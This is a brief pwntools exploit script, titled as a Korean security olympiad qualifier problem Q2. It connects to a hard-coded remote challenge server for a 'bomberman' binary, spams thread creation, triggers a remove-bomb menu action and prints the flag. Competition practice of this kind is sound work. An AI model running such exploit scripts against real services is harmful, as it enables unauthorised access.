정보보호올림피아드 예선 Q2

from pwn import *

r = remote('1.209.148.228', 7677)
e = ELF('./bomberman')

def makeThread():
    print r.sendlineafter('>', '1')

def removeBomb():
    print r.sendlineafter('>', '4')
    print r.sendlineafter('Length : ', '10')
    print r.sendlineafter('Color : ', 'rainbow')

def showFlag():
    print r.sendlineafter('>', '6')
    print r.recv()

makeThread()
makeThread()
makeThread()
makeThread()
makeThread()
makeThread()
makeThread()

removeBomb()

showFlag()

exploit